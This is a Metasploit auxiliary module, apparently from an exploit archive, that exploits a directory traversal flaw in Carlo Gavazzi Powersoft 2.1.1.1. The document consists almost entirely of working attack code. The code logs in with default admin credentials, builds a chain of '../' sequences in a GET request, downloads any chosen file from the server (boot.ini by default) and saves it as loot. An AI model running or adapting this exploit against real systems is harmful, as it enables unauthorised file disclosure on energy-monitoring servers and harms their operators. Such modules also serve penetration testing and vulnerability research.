Carlo Gavazzi Powersoft 2.1.1.1 – Directory Traversal File Disclosure (Metasploit)
require 'msf/core' class MetasploitModule < Msf::Auxiliary Rank = GreatRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Carlo Gavazzi Powersoft Directory Traversal', 'Description' => %q{ This module exploits a directory traversal vulnerability found in Carlo Gavazzi Powersoft <= 2.1.1.1. The vulnerability is triggered when sending a specially crafted GET request to the server. The location parameter of the GET request is not sanitized and the sendCommand.php script will automatically pull down any file requested }, 'Author' => [ 'james fitts' ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://gleg.net/agora_scada_upd.shtml'] ], 'DisclosureDate' => 'Jan 21 2015')) register_options( [ OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 8]), OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']), OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']), OptString.new('PASSWORD', [ true, 'Password to authenticate with', 'admin']), Opt::RPORT(80) ], self.class ) end def run require 'base64' credentials = Base64.encode64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}") depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH'] levels = "/" + ("../" * depth) res = send_request_raw({ 'method' => 'GET', 'uri' => "#{levels}#{datastore['FILE']}?res=&valid=true", 'headers' => { 'Authorization' => "Basic #{credentials}" }, }) if res and res.code == 200 loot = res.body if not loot or loot.empty? print_status("File from #{rhost}:#{rport} is empty...") return end file = ::File.basename(datastore['FILE']) path = store_loot('carlo.gavazzi.powersoft.file', 'application/octet-stream', rhost, loot, file, datastore['FILE']) print_status("Stored #{datastore['FILE']} to #{path}") return end end end |